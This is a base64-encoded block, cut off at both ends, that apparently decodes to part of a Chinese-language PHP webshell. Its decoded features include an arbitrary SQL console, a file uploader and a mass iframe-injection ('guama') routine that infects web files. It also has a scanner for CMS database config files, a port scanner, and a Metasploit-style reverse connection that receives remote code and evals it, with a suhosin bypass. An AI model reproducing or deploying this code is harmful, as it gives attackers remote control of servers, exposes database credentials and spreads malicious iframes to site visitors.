AkX0dFVFsnZGInXSk7CiAgICAgICAgICAgIGh0bWxfbignPHRyPjx0ZD48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9IkRiRm9ybSIgaWQ9IkRiRm9ybSI+PHRleHRhcmVhIG5hbWU9InNxbCIgaWQ9InNxbCIgQ09MUz0iODAiIFJPV1M9IjMiPicgLiAkX1BPU1RbJ3NxbCddIC4gJzwvdGV4dGFyZWE+PGJyPicpOwogICAgICAgICAgICBodG1sX3NlbGVjdChhcnJheSgwID0+ICItLVNRTNPvt6gtLSIsIDcgPT4gIsztvNPK/b7dIiwgOCA9PiAiyb6z/cr9vt0iLCA5ID0+ICLQ3rjEyv2+3SIsIDEwID0+ICK9qMr9vt2x7SIsIDExID0+ICLJvsr9vt2x7SIsIDEyID0+ICLM7bzT19a2ziIsIDEzID0+ICLJvrP919a2ziIpLCAwLCAib25jaGFuZ2U9J3JldHVybiBGdWxsKG9wdGlvbnNbc2VsZWN0ZWRJbmRleF0udmFsdWUpJyIpOwogICAgICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAiZG9xdWVyeSIsICLWtNDQIik7CiAgICAgICAgICAgIGh0bWxfYSgiP3dlYnNpdGVfPWlzc3FsJmRiPSIgLiAkX0dFVFsnZGInXSwgJF9HRVRbJ2RiJ10pOwogICAgICAgICAgICBodG1sX24oJy0tLT4nKTsKICAgICAgICAgICAgaHRtbF9hKCI/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJF9HRVRbJ3RhYmxlJ10sICRfR0VUWyd0YWJsZSddKTsKICAgICAgICAgICAgaHRtbF9uKCc8L2Zvcm0+PGJyPicpOwogICAgICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsnc3FsJ10pKSB7CiAgICAgICAgICAgICAgICBpZiAoQG15c3FsaV9xdWVyeSggJHNxbGNvbiwgJF9QT1NUWydzcWwnXSkpIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICLWtNDQU1FM0+++5LPJuaYiOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBlY2hvICKz9rTtOiAiIC4gbXlzcWxpX2Vycm9yKCRzcWxjb24pOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICgkX0dFVFsndGFibGUnXSkgewogICAgICAgICAgICAgICAgaHRtbF9uKCc8dGFibGUgYm9yZGVyPTE+PHRyPicpOwogICAgICAgICAgICAgICAgJHF1ZXJ5ID0gIlNIT1cgQ09MVU1OUyBGUk9NICIgLiAkX0dFVFsndGFibGUnXTsKICAgICAgICAgICAgICAgICRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwkcXVlcnkpOwogICAgICAgICAgICAgICAgJGZpZWxkcyA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICB3aGlsZSAoJHJvdyA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZpZWxkcywgJHJvd1snRmllbGQnXSk7CiAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCc8dGQ+PGZvbnQgY29sb3I9I0ZGRkY0ND4nIC4gJHJvd1snRmllbGQnXSAuICc8L2ZvbnQ+PC90ZD4nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGh0bWxfbignPC90cj48dHI+Jyk7CiAgICAgICAgICAgICAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRzcWxjb24sIlNFTEVDVCAqIEZST00gIiAuICRfR0VUWyd0YWJsZSddKSBvciBkaWUobXlzcWxpX2Vycm9yKCRzcWxjb24pKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkdGV4dCA9IEBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCkpIHsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmllbGRzIGFzICRyb3cpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCR0ZXh0WyRyb3ddID09ICIiKSAkdGV4dFskcm93XSA9ICdOVUxMJzsKICAgICAgICAgICAgICAgICAgICAgICAgaHRtbF9uKCc8dGQ+JyAuICR0ZXh0WyRyb3ddIC4gJzwvdGQ+Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRxdWVyeSA9ICJTSE9XIFRBQkxFUyBGUk9NICIgLiAkX0dFVFsnZGInXTsKICAgICAgICAgICAgICAgICRkYXQgPSBteXNxbGlfcXVlcnkoJHNxbGNvbiwgJHF1ZXJ5KSBvciBkaWUobXlzcWxpX2Vycm9yKCRzcWxjb24pKTsKICAgICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkZGF0KSkgewogICAgICAgICAgICAgICAgICAgIGh0bWxfbigiPHRyPjx0ZD48YSBocmVmPSc/d2Vic2l0ZV89aXNzcWwmZGI9IiAuICRfR0VUWydkYiddIC4gIiZ0YWJsZT0iIC4gJHJvd1swXSAuICInPiIgLiAkcm93WzBdIC4gIjwvYT48L3RkPjwvdHI+Iik7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAidXBmaWxlcyI6CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPrf+zvHG98/e1sbJz7SrtaW49s7EvP6089ChOiAnIC4gQGdldF9jZmdfdmFyKCd1cGxvYWRfbWF4X2ZpbGVzaXplJykgLiAnPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj4nKTsKICAgICAgICBodG1sX2lucHV0KCJ0ZXh0IiwgInVwcGF0aCIsIHJvb3RfZGlyLCAiPGJyPsnPtKu1vcK3vrY6ICIsICI1MSIpOwogICAgICAgIHByaW50PDw8RU5ECjxTQ1JJUFQgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgpmdW5jdGlvbiBhZGRUYW5rKCl7CnZhciBrPTA7CiAgaz1rKzE7CiAgaz10YW5rLnJvd3MubGVuZ3RoOwogIG5ld1Jvdz1kb2N1bWVudC5hbGwudGFuay5pbnNlcnRSb3coLTEpCiAgPCEtLcm+s/3RodTxLS0+CiAgbmV3Y2VsbD1uZXdSb3cuaW5zZXJ0Q2VsbCgpCiAgbmV3Y2VsbC5pbm5lckhUTUw9IjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+Igp9CgpmdW5jdGlvbiBkZWxUYW5rKCkgewogIGlmKHRhbmsucm93cy5sZW5ndGg9PTEpIHJldHVybjsKICB2YXIgY2hlY2tpdCA9IGZhbHNlOwogIGZvciAodmFyIGk9MDtpPGRvY3VtZW50LmFsbC50YW5rTm8ubGVuZ3RoO2krKykgewogICAgaWYgKGRvY3VtZW50LmFsbC50YW5rTm9baV0uY2hlY2tlZCkgewogICAgICBjaGVja2l0PXRydWU7CiAgICAgIHRhbmsuZGVsZXRlUm93KGkrMSk7CiAgICAgIGktLTsKICAgIH0KICB9CiAgaWYgKGNoZWNraXQpIHsKICB9IGVsc2V7CiAgICBhbGVydCgix+vRodTx0ru49tKqyb6z/bXEttTP8yIpOwogICAgcmV0dXJuIGZhbHNlOwogIH0KfQo8L1NDUklQVD4KPGJyPjxicj4KPHRhYmxlIGNlbGxTcGFjaW5nPTAgY2VsbFBhZGRpbmc9MCB3aWR0aD0iMTAwJSIgYm9yZGVyPTA+CiAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZCB3aWR0aD0iNyUiPjxpbnB1dCBjbGFzcz0iYnV0dG9uMDEiIHR5cGU9ImJ1dHRvbiIgIG9uY2xpY2s9ImFkZFRhbmsoKSIgdmFsdWU9IiDM7SC80yAiIG5hbWU9ImJ1dHRvbjIiLz4KICAgICAgICAgICAgPGlucHV0IG5hbWU9ImJ1dHRvbjMiICB0eXBlPSJidXR0b24iIGNsYXNzPSJidXR0b24wMSIgb25DbGljaz0iZGVsVGFuaygpIiB2YWx1ZT0iyb6z/SIgLz4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgIDwvdHI+CjwvdGFibGU+Cjx0YWJsZSAgaWQ9InRhbmsiIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIxIiBjZWxsc3BhY2luZz0iMSIgPgo8dHI+PHRkPsfr0aHU8dKqyc+0q7XEzsS8/qO6PC90ZD48L3RyPgo8dHI+PHRkPjxpbnB1dCBuYW1lPSd0YW5rTm8nIHR5cGU9J2NoZWNrYm94Jz4gPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J3VwZmlsZVtdJyB2YWx1ZT0nJyBzaXplPSc1MCc+PC90ZD48L3RyPgo8L3RhYmxlPgpFTkQ7CiAgICAgICAgaHRtbF9uKCc8YnI+PGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0idXBmaWxlcyIgdmFsdWU9IsnPtKsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+IDxpbnB1dCB0eXBlPSJidXR0b24iIHZhbHVlPSK3tbvYIiBvbmNsaWNrPSJ3aW5kb3cubG9jYXRpb249XCc/d2Vic2l0ZV89bWFpbiZwYXRoPScgLiByb290X2RpciAuICdcJzsiIHN0eWxlPSJ3aWR0aDo4MHB4OyI+Jyk7CiAgICAgICAgaWYgKCRfUE9TVFsndXBmaWxlcyddKSB7CiAgICAgICAgICAgIGZvcmVhY2ggKCRfRklMRVNbInVwZmlsZSJdWyJlcnJvciJdIGFzICRrZXkgPT4gJGVycm9yKSB7CiAgICAgICAgICAgICAgICBpZiAoJGVycm9yID09IFVQTE9BRF9FUlJfT0spIHsKICAgICAgICAgICAgICAgICAgICAkdG1wX25hbWUgPSAkX0ZJTEVTWyJ1cGZpbGUiXVsidG1wX25hbWUiXVska2V5XTsKICAgICAgICAgICAgICAgICAgICAkbmFtZSA9ICRfRklMRVNbInVwZmlsZSJdWyJuYW1lIl1bJGtleV07CiAgICAgICAgICAgICAgICAgICAgJHVwbG9hZGZpbGUgPSBzdHJfcGF0aCgkX1BPU1RbJ3VwcGF0aCddIC4gJy8nIC4gJG5hbWUpOwogICAgICAgICAgICAgICAgICAgICR1cGxvYWQgPSBAY29weSgkdG1wX25hbWUsICR1cGxvYWRmaWxlKSA/ICRuYW1lIC4gJG1zZ1syXSA6IEBtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcF9uYW1lLCAkdXBsb2FkZmlsZSkgPyAkbmFtZSAuICRtc2dbMl0gOiAkbmFtZSAuICRtc2dbM107CiAgICAgICAgICAgICAgICAgICAgZWNobyAnPGJyPjxicj4nIC4gJHVwbG9hZDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBodG1sX24oJzwvZm9ybT4nKTsKICAgICAgICBicmVhazsKCiAgICBjYXNlICJndWFtYSI6CiAgICAgICAgJHBhdGh0ID0gaXNzZXQoJF9QT1NUWydwYXRoJ10pID8gJF9QT1NUWydwYXRoJ10gOiByb290X2RpcjsKICAgICAgICAkdHlwZXQgPSBpc3NldCgkX1BPU1RbJ3R5cGUnXSkgPyAkX1BPU1RbJ3R5cGUnXSA6ICIuaHRtbHwuc2h0bWx8Lmh0bXwuYXNwfC5waHB8LmpzcHwuY2dpfC5hc3B4IjsKICAgICAgICAkY29kZXQgPSBpc3NldCgkX1BPU1RbJ2NvZGUnXSkgPyAkX1BPU1RbJ2NvZGUnXSA6ICI8aWZyYW1lIHNyYz1cImh0dHA6Ly9sb2NhbGhvc3Qvd2Vic2l0ZV8uaHRtXCIgd2lkdGg9XCIxXCIgaGVpZ2h0PVwiMVwiPjwvaWZyYW1lPiI7CiAgICAgICAgaHRtbF9uKCc8dHI+PHRkPs7EvP7A4NDNx+vTwyJ8Irj0v6os0rK/ydLUysfWuLaozsS8/sP7Ljxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsICRwYXRodCwgIsK3vra3ts6nIiwgIjQ1Iik7CiAgICAgICAgaHRtbF9pbnB1dCgiY2hlY2tib3giLCAicGFzcyIsICIiLCAiyrnTw8S/wryx6cD6IiwgIiIsIHRydWUpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAidHlwZSIsICR0eXBldCwgIjxicj48YnI+zsS8/sDg0M0iLCAiNjAiKTsKICAgICAgICBodG1sX3RleHQoImNvZGUiLCAiNjciLCAiNSIsICRjb2RldCk7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPicpOwogICAgICAgIGh0bWxfcmFkaW8oIsX6wb+50sLtIiwgIsX6wb/H5cLtIiwgImd1YW1hIiwgInFpbmdtYSIpOwogICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJwYXNzcmV0dXJuIiwgIr+qyrwiKTsKICAgICAgICBodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsS/serOxLz+Ojxicj48YnI+Jyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwogICAgICAgICAgICBkb19wYXNzcmV0dXJuKCRwYXRodCwgJGNvZGV0LCAkX1BPU1RbJ3JldHVybiddLCAkYm9vbCwgJHR5cGV0KTsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAidGlodWFuIjoKICAgICAgICBodG1sX24oJzx0cj48dGQ+tMu5psTcv8nF+sG/zOa7u87EvP7E2sjdLMfr0KHQxMq508MuPGJyPjxicj48Zm9ybSBtZXRob2Q9IlBPU1QiPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsIHJvb3RfZGlyLCAiwre+tre2zqciLCAiNDUiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPoiLCAiIiwgdHJ1ZSk7CiAgICAgICAgaHRtbF90ZXh0KCJuZXdjb2RlIiwgIjY3IiwgIjUiLCAkX1BPU1RbJ25ld2NvZGUnXSk7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPszmu7vOqicpOwogICAgICAgIGh0bWxfdGV4dCgib2xkY29kZSIsICI2NyIsICI1IiwgJF9QT1NUWydvbGRjb2RlJ10pOwogICAgICAgIGh0bWxfaW5wdXQoInN1Ym1pdCIsICJwYXNzcmV0dXJuIiwgIszmu7siLCAiPGJyPjxicj4iKTsKICAgICAgICBodG1sX24oJzwvdGQ+PC90cj48L2Zvcm0+Jyk7CiAgICAgICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3BhdGgnXSkpIHsKICAgICAgICAgICAgaHRtbF9uKCc8dHI+PHRkPsS/serOxLz+Ojxicj48YnI+Jyk7CiAgICAgICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3Bhc3MnXSkpICRib29sID0gdHJ1ZTsgZWxzZSAkYm9vbCA9IGZhbHNlOwogICAgICAgICAgICBkb19wYXNzcmV0dXJuKCRfUE9TVFsncGF0aCddLCAkX1BPU1RbJ25ld2NvZGUnXSwgInRpaHVhbiIsICRib29sLCAkX1BPU1RbJ29sZGNvZGUnXSk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInNjYW5maWxlIjoKICAgICAgICBjc3NfanMoIjQiKTsKICAgICAgICBodG1sX24oJzx0cj48dGQ+tMu5psTcv8m63Le9seO1xMvRy/e1vbGjtOZNWVNRTNPDu6fD3MLrtcTF5NbDzsS8/izTw9PazOHIqC48YnI+tbG3/s7xxvfOxLz+zKu24MqxLLvh07DP7Na00NDL2bbILLK7vajS6cq508PEv8K8senA+i48Zm9ybSBtZXRob2Q9IlBPU1QiIG5hbWU9InNmb3JtIj48YnI+Jyk7CiAgICAgICAgaHRtbF9pbnB1dCgidGV4dCIsICJwYXRoIiwgcm9vdF9kaXIsICLCt762w/siLCAiNDUiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPoiLCAiIiwgdHJ1ZSk7CiAgICAgICAgaHRtbF9pbnB1dCgidGV4dCIsICJjb2RlIiwgJF9QT1NUWydjb2RlJ10sICI8YnI+PGJyPrnYvPzX1iIsICI0MCIpOwogICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCItLU1ZU1FMxeTWw87EvP4tLSIsICJEaXNjdXoiLCAiUEhQV2luZCIsICJwaHBjbXMiLCAiZGVkZWNtcyIsICJQSFBCQiIsICJ3b3JkcHJlc3MiLCAic2EtYmxvZyIsICJvLWJsb2ciKSwgMCwgIm9uY2hhbmdlPSdyZXR1cm4gRnVsbGwob3B0aW9uc1tzZWxlY3RlZEluZGV4XS52YWx1ZSknIik7CiAgICAgICAgaHRtbF9uKCc8YnI+PGJyPicpOwogICAgICAgIGh0bWxfcmFkaW8oIsvRy/fOxLz+w/siLCAiy9HL97D8uqzOxNfWIiwgInNjYW5maWxlIiwgInNjYW5jb2RlIik7CiAgICAgICAgaHRtbF9pbnB1dCgic3VibWl0IiwgInBhc3NyZXR1cm4iLCAiy9HL9yIpOwogICAgICAgIGh0bWxfbignPC90ZD48L3RyPjwvZm9ybT4nKTsKICAgICAgICBpZiAoIWVtcHR5KCRfUE9TVFsncGF0aCddKSkgewogICAgICAgICAgICBodG1sX24oJzx0cj48dGQ+1dK1vc7EvP46PGJyPjxicj4nKTsKICAgICAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncGFzcyddKSkgJGJvb2wgPSB0cnVlOyBlbHNlICRib29sID0gZmFsc2U7CiAgICAgICAgICAgIGRvX3Bhc3NyZXR1cm4oJF9QT1NUWydwYXRoJ10sICRfUE9TVFsnY29kZSddLCAkX1BPU1RbJ3JldHVybiddLCAkYm9vbCk7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgInNjYW5waHAiOgogICAgICAgIGh0bWxfbignPHRyPjx0ZD7UrcDtyse4+b7dzNjV98LrtqjS5bXELMfrsum/tLT6wuvF0LbPuvPU2b340NDJvrP9Ljxmb3JtIG1ldGhvZD0iUE9TVCI+PGJyPicpOwogICAgICAgIGh0bWxfaW5wdXQoInRleHQiLCAicGF0aCIsIHJvb3RfZGlyLCAisunV0re2zqciLCAiNDAiKTsKICAgICAgICBodG1sX2lucHV0KCJjaGVja2JveCIsICJwYXNzIiwgIiIsICLKudPDxL/CvLHpwPo8YnI+PGJyPr3Fsb7A4NDNIiwgIiIsIHRydWUpOwogICAgICAgIGh0bWxfc2VsZWN0KGFycmF5KCJwaHAiID0+ICJQSFAiLCAiYXNwIiA9PiAiQVNQIiwgImFzcHgiID0+ICJBU1BYIiwgImpzcCIgPT4gIkpTUCIpKTsKICAgICAgICBodG1sX2lucHV0KCJzdWJtaXQiLCAicGFzc3JldHVybiIsICKy6dXSIiwgIjxicj48YnI+Iik7CiAgICAgICAgaHRtbF9uKCc8L3RkPjwvdHI+PC9mb3JtPicpOwogICAgICAgIGlmICghZW1wdHkoJF9QT1NUWydwYXRoJ10pKSB7CiAgICAgICAgICAgIGh0bWxfbignPHRyPjx0ZD7V0rW9zsS8/jo8YnI+PGJyPicpOwogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXNzJ10pKSAkYm9vbCA9IHRydWU7IGVsc2UgJGJvb2wgPSBmYWxzZTsKICAgICAgICAgICAgZG9fcGFzc3JldHVybigkX1BPU1RbJ3BhdGgnXSwgJF9QT1NUWydjbGFzcyddLCAic2NhbnBocCIsICRib29sKTsKICAgICAgICB9CiAgICAgICAgYnJlYWs7CgogICAgY2FzZSAicG9ydCI6CiAgICAgICAgJFBvcnRfaXAgPSBpc3NldCgkX1BPU1RbJ2lwJ10pID8gJF9QT1NUWydpcCddIDogJzEyNy4wLjAuMSc7CiAgICAgICAgJFBvcnRfcG9ydCA9IGlzc2V0KCRfUE9TVFsncG9ydCddKSA/ICRfUE9TVFsncG9ydCddIDogJzIyfDgwfDEzNXw0NDN8NDQ1fDg4OHwxNDMzfDE1MjF8MzMwNnwzMzg5fDcwMDF8ODA4MHw4ODg4JzsKICAgICAgICBwcmludDw8PEVORAo8Zm9ybSBtZXRob2Q9IlBPU1QiPgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsmow+hJUCA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iaXAiIHZhbHVlPSJ7JFBvcnRfaXB9IiBzdHlsZT0id2lkdGg6NjAwcHg7Ij4gPC9kaXY+CjxkaXYgY2xhc3M9ImFjdGFsbCI+tsu/2rrFIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1ZT0ieyRQb3J0X3BvcnR9IiBzdHlsZT0id2lkdGg6NTk3cHg7Ij48L2Rpdj4KPGRpdiBjbGFzcz0iYWN0YWxsIj48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iyajD6CIgc3R5bGU9IndpZHRoOjgwcHg7Ij48L2Rpdj4KPC9mb3JtPgpFTkQ7CiAgICAgICAgaWYgKCghZW1wdHkoJF9QT1NUWydpcCddKSkgJiYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkpKSB7CiAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImFjdGFsbCI+JzsKICAgICAgICAgICAgJHBvcnRzID0gZXhwbG9kZSgnfCcsICRfUE9TVFsncG9ydCddKTsKICAgICAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJHBvcnRzKTsgJGkrKykgewogICAgICAgICAgICAgICAgJGZwID0gQGZzb2Nrb3BlbigkX1BPU1RbJ2lwJ10sICRwb3J0c1skaV0sICRlcnJubywgJGVycnN0ciwgMik7CiAgICAgICAgICAgICAgICBlY2hvICRmcCA/ICc8Zm9udCBjb2xvcj0iI0ZGMDAwMCI+v6q3xbbLv9ogLS0tPiAnIC4gJHBvcnRzWyRpXSAuICc8L2ZvbnQ+PGJyPicgOiAnudix1bbLv9ogLS0tPiAnIC4gJHBvcnRzWyRpXSAuICc8YnI+JzsKICAgICAgICAgICAgICAgIG9iX2ZsdXNoKCk7CiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGVjaG8gJzwvZGl2Pic7CiAgICAgICAgfQogICAgICAgIGJyZWFrOwoKICAgIGNhc2UgIm1zZiI6CiAgICAgICAgc2V0X3RpbWVfbGltaXQoMCk7CiAgICAgICAgaWdub3JlX3VzZXJfYWJvcnQoMSk7CiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsncG9ydCddKSAmJiBpc3NldCgkX1BPU1RbJ2lwJ10pKSB7CgogICAgICAgICAgICAkaXAgPSAkX1BPU1RbJ2lwJ107CiAgICAgICAgICAgICRwb3J0ID0gJF9QT1NUWydwb3J0J107CiAgICAgICAgICAgIGlmICgoJGYgPSAnc3RyZWFtX3NvY2tldF9jbGllbnQnKSAmJiBpc19jYWxsYWJsZSgkZikpIHsKICAgICAgICAgICAgICAgICRzID0gJGYoInRjcDovL3skaXB9OnskcG9ydH0iKTsKICAgICAgICAgICAgICAgICRzX3R5cGUgPSAnc3RyZWFtJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoISRzICYmICgkZiA9ICdmc29ja29wZW4nKSAmJiBpc19jYWxsYWJsZSgkZikpIHsKICAgICAgICAgICAgICAgICRzID0gJGYoJGlwLCAkcG9ydCk7CiAgICAgICAgICAgICAgICAkc190eXBlID0gJ3N0cmVhbSc7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCEkcyAmJiAoJGYgPSAnc29ja2V0X2NyZWF0ZScpICYmIGlzX2NhbGxhYmxlKCRmKSkgewogICAgICAgICAgICAgICAgJHMgPSAkZihBRl9JTkVULCBTT0NLX1NUUkVBTSwgU09MX1RDUCk7CiAgICAgICAgICAgICAgICAkcmVzID0gQHNvY2tldF9jb25uZWN0KCRzLCAkaXAsICRwb3J0KTsKICAgICAgICAgICAgICAgIGlmICghJHJlcykgewogICAgICAgICAgICAgICAgICAgIGRpZSgpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNfdHlwZSA9ICdzb2NrZXQnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJHNfdHlwZSkgewogICAgICAgICAgICAgICAgZGllKCdubyBzb2NrZXQgZnVuY3MnKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoISRzKSB7CiAgICAgICAgICAgICAgICBkaWUoJ25vIHNvY2tldCcpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHN3aXRjaCAoJHNfdHlwZSkgewogICAgICAgICAgICAgICAgY2FzZSAnc3RyZWFtJzoKICAgICAgICAgICAgICAgICAgICAkbGVuID0gZnJlYWQoJHMsIDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnc29ja2V0JzoKICAgICAgICAgICAgICAgICAgICAkbGVuID0gc29ja2V0X3JlYWQoJHMsIDQpOwogICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGlmICghJGxlbikgewogICAgICAgICAgICAgICAgZGllKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGEgPSB1bnBhY2soIk5sZW4iLCAkbGVuKTsKICAgICAgICAgICAgJGxlbiA9ICRhWydsZW4nXTsKICAgICAgICAgICAgJGIgPSAnJzsKICAgICAgICAgICAgd2hpbGUgKHN0cmxlbigkYikgPCAkbGVuKSB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggKCRzX3R5cGUpIHsKICAgICAgICAgICAgICAgICAgICBjYXNlICdzdHJlYW0nOgogICAgICAgICAgICAgICAgICAgICAgICAkYiAuPSBmcmVhZCgkcywgJGxlbiAtIHN0cmxlbigkYikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICBjYXNlICdzb2NrZXQnOgogICAgICAgICAgICAgICAgICAgICAgICAkYiAuPSBzb2NrZXRfcmVhZCgkcywgJGxlbiAtIHN0cmxlbigkYikpOwogICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkR0xPQkFMU1snbXNnc29jayddID0gJHM7CiAgICAgICAgICAgICRHTE9CQUxTWydtc2dzb2NrX3R5cGUnXSA9ICRzX3R5cGU7CiAgICAgICAgICAgIGlmIChleHRlbnNpb25fbG9hZGVkKCdzdWhvc2luJykgJiYgaW5pX2dldCgnc3Vob3Npbi5leGVjdXRvci5kaXNhYmxlX2V2YWwnKSkgewogICAgICAgICAgICAgICAgJHN1aG9zaW5fYnlwYXNzID0gY3JlYXRlX2Z1bmN0aW9uKCcnLCAkYik7CiAgICAgICAgICAgICAgICAkc3Vob3Npbl9ieXBhc3MoKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGV2YWwoJGIpOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRpZSgpOwogICAgICAgIH0KICAgICAgICBlbHNlewogICAgICAgICAgICBwcmludDw8PEVORAo8ZGl2IGNsYXNzPSJhY3RhbGwiPsq508O3vbeoo7o8YnI+CgkJCTEu19S8urf+zvHG99Do0qrT0LmrzfhpcKOssqKwstewusNtc2Y8YnI+CgkJCTIuyLu689a00NA8YnI+CgkJCW1zZjUgPiB1c2UgZXhwbG9pdC9tdWx0aS9oYW5kbGVyIDxicj4KCiAgICAgICAgICAgIG1zZjUgZXhwbG9pdChtdWx0aS9oYW5kbGVyKSA+IHNldCBwYXlsb2FkIHBocC9tZXRlcnByZXRlci9yZXZlcnNlX3RjcDxicj4KICAgICAgICAgICAgCiAgICAgICAgICAgIG1zZjUgZXhwbG9pdChtdWx0aS9oYW5kbGVyKSA+IHNldCBsaG9zdCAwLjAuMC4wPGJyPgogICAgICAgICAgICAKICAgICAgICAgICAgbXNmNSBleHBsb2l0KG11bHRpL2hhbmRsZXIpID4gc2V0IGxwb3J0IDEyMzQ1PGJyPgogICAgICAgICAgICAKICAgICAgICAgICAgbXNmNSBleHBsb2l0KG11bHRpL2hhbmRsZXIpID4gZXhwbG9pdDxicj4KICAgICAgICAgICAgCiAgICAgICAgICAgIDMu1NrPwre9zO66w7bU06ZpcLrNtsu/2gogICAgICAgICAgICAKPC9kaXY+Cjxmb3JtIG1ldGhvZD0iUE9TVCIgbmFtZT0ia2Zvcm0iIGlkPSJrZm9ybSI+CjxkaXYgY2xhc3M9ImFjdGFsbCI+xOO1xLXY1rcgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImlwIiB2YWx1ZT0ixOO1xGlwIiBzdHlsZT0id2lkdGg6NDAwcHgiPjwvZGl2Pgo8ZGl2IGNsYXNzPSJhY3RhbGwiPsGsvdO2y7/aIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJwb3J0IiB2YWx1Z